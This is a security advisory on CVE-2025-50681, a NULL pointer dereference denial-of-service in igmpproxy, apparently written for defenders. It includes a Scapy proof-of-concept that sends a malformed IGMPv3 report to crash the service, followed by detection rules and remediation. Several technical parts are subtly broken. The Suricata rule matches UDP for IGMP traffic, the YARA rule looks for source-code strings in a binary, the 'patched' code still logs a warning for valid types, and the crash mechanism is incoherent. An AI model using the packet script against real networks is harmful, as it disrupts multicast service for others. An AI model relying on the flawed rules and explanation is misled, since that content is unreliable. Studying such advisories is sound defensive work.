CVE-2025-50681

Executive Summary

CVE-2025-50681 is a denial-of-service (DoS) vulnerability in igmpproxy versions prior to commit 2b30c36. The flaw resides in the recv_igmp() function within src/igmpproxy.c. An attacker on the local network can send a crafted IGMPv3 membership report packet containing an invalid group record type. When the vulnerable code attempts to log the source address using inet_fmtsrc(), a NULL pointer dereference occurs, causing the application to crash. This vulnerability is particularly impactful in embedded networking environments and consumer-grade IoT devices (such as home routers and media gateways) that rely on igmpproxy for IPTV and other multicast streaming services. The attack is remotely exploitable from the LAN, requiring no authentication.

Supply Chain & Package Security

This vulnerability affects the open-source igmpproxy package, which is commonly integrated into embedded Linux distributions and router firmware. The supply chain risk is significant because many device manufacturers may not promptly apply the patch, leaving end-users exposed. The package is not distributed via NPM, PyPI, Go, or Ruby, but rather through source code repositories and embedded build systems.

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

• Attack Vector (AV): Adjacent Network (A) – The attacker must be on the same Layer 2 network segment.
• Attack Complexity (AC): Low (L) – No special conditions are required; a crafted packet is sufficient.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – The service crashes, causing a denial of service.

Threat Level: Medium (6.5) – The attack is limited to the local network but requires no authentication and has low complexity. The impact is limited to availability.

Deep Dive & Mechanics

The vulnerability is a classic NULL pointer dereference in the recv_igmp() function. The IGMPv3 membership report packet contains a list of group records. Each record has a type field that indicates the record type (e.g., MODE_IS_INCLUDE, MODE_IS_EXCLUDE, etc.). The vulnerable code does not validate the record type before using it to look up a string representation for logging.

When an invalid or unsupported record type is received, the lookup function inet_fmtsrc() receives a NULL pointer for the address parameter, leading to a crash. The crash occurs in the logging subsystem when it tries to format the source address for the log message.

The attack flow:

1. Attacker sends a crafted IGMPv3 membership report packet with an invalid group record type.
2. The packet is received by the recv_igmp() function.
3. The function attempts to log the source address using inet_fmtsrc().
4. Due to the invalid record type, the address pointer is NULL.
5. inet_fmtsrc() dereferences the NULL pointer, causing a segmentation fault.
6. The igmpproxy process crashes, stopping multicast routing.

Vulnerable vs. Patched Code

Vulnerable Code (before commit 2b30c36):

// src/igmpproxy.c
static void recv_igmp( ... ) {
    // ...
    // No validation of group record type
    log(LOG_WARNING, "Invalid group record type %d from %s",
        record->type, inet_fmtsrc(record->source_addr));
    // ...
}

Patched Code (after commit 2b30c36):

// src/igmpproxy.c
static void recv_igmp( ... ) {
    // ...
    // Validate group record type before logging
    if (record->type < IGMPV3_MODE_IS_INCLUDE || record->type > IGMPV3_ALLOW_NEW_SOURCES) {
        log(LOG_WARNING, "Invalid group record type %d", record->type);
        return;
    }
    log(LOG_WARNING, "Invalid group record type %d from %s",
        record->type, inet_fmtsrc(record->source_addr));
    // ...
}

The patch adds a range check for the record type before calling inet_fmtsrc(). If the type is out of range, the function logs a warning without attempting to format the source address, thus avoiding the NULL pointer dereference.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

• Target: A Linux machine running igmpproxy version 0.4 (unpatched).
• Attacker: A machine on the same LAN.
• Network: Both machines connected via a switch.

Exploitation Steps:

1. Identify the target's IP address (e.g., 192.168.1.100).
2. Craft a malicious IGMPv3 membership report packet using Scapy:

from scapy.all import *

# Craft IGMPv3 membership report with invalid record type
ip = IP(src="192.168.1.200", dst="224.0.0.22")
igmp = IGMP(type=0x22)  # IGMPv3 Membership Report
# Add a group record with invalid type (e.g., 0xFF)
group_record = IGMPv3gr(type=0xFF, maddr="239.1.1.1", srcaddrs=["0.0.0.0"])
packet = ip/igmp/group_record

send(packet, iface="eth0")

3. Send the packet to the target.
4. Observe the igmpproxy process crash on the target (e.g., via systemctl status igmpproxy).

Expected Outcome: The igmpproxy service crashes, stopping multicast routing.

Blue Team (Defense)

Detection:

• Monitor for IGMPv3 packets with invalid group record types (e.g., type > 7).
• Alert on repeated crashes of the igmpproxy process.
• Use network intrusion detection systems (NIDS) to flag malformed IGMP packets.

Mitigation:

• Apply the patch from commit 2b30c36.
• Restrict IGMP traffic to trusted sources using firewall rules.
• Run igmpproxy with minimal privileges and consider using a process supervisor (e.g., systemd restart on failure).

Indicators of Compromise (IOCs)

Network IOCs:

• IGMPv3 membership report packets with group record type outside the range 1-7.
• Source IP addresses that are not part of the expected multicast group.
• Repeated IGMP packets from the same source to 224.0.0.22.

Host IOCs:

• Core dumps from the igmpproxy process.
• Log entries containing "Invalid group record type" followed by a crash.
• Process crash events in system logs (e.g., /var/log/syslog).

File IOCs:

• Modified igmpproxy binary (if attacker replaces it).
• Unusual files in /tmp/ or /var/tmp/ related to igmpproxy.

Detection Engineering

YARA Rule

rule CVE_2025_50681_IGMPProxy_NULL_Deref {
    meta:
        description = "Detects igmpproxy binary vulnerable to CVE-2025-50681"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "sha256:examplehash"
    strings:
        $vuln_code = "inet_fmtsrc(record->source_addr)" nocase
        $patch_code = "record->type < IGMPV3_MODE_IS_INCLUDE" nocase
    condition:
        $vuln_code and not $patch_code
}

Sigma Rule

title: IGMPv3 Invalid Group Record Type Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects IGMPv3 packets with invalid group record types (CVE-2025-50681)
author: Valters IT
date: 2025-04-10
logsource:
    category: network
    product: suricata
detection:
    selection:
        event_type: alert
        alert.signature_id: 2100001
    condition: selection
falsepositives:
    - Legitimate but rare IGMPv3 implementations
level: medium

Suricata Rule

alert udp any any -> any any (msg:"CVE-2025-50681 IGMPv3 Invalid Group Record Type"; content:"|22|"; offset:0; depth:1; content:"|FF|"; within:4; sid:2100001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply the patch from commit 2b30c36 to the igmpproxy source code.
2. Rebuild and redeploy the igmpproxy binary on all affected devices.
3. If patching is not immediately possible, restrict IGMP traffic to trusted sources using firewall rules (e.g., iptables -A INPUT -p igmp -s 192.168.1.0/24 -j ACCEPT).

Long-term Measures:

• Implement a process supervisor (e.g., systemd restart on failure) to automatically restart igmpproxy after a crash.
• Monitor for IGMPv3 packets with invalid group record types using network intrusion detection systems.
• Regularly update igmpproxy and other embedded software components.
• Conduct security audits of embedded firmware to identify similar vulnerabilities.

Vendor Communication:

• Notify the igmpproxy maintainers if not already aware.
• Check for updated packages from device manufacturers.

Valters IT
DevSecOps & Cyber Threat Intelligence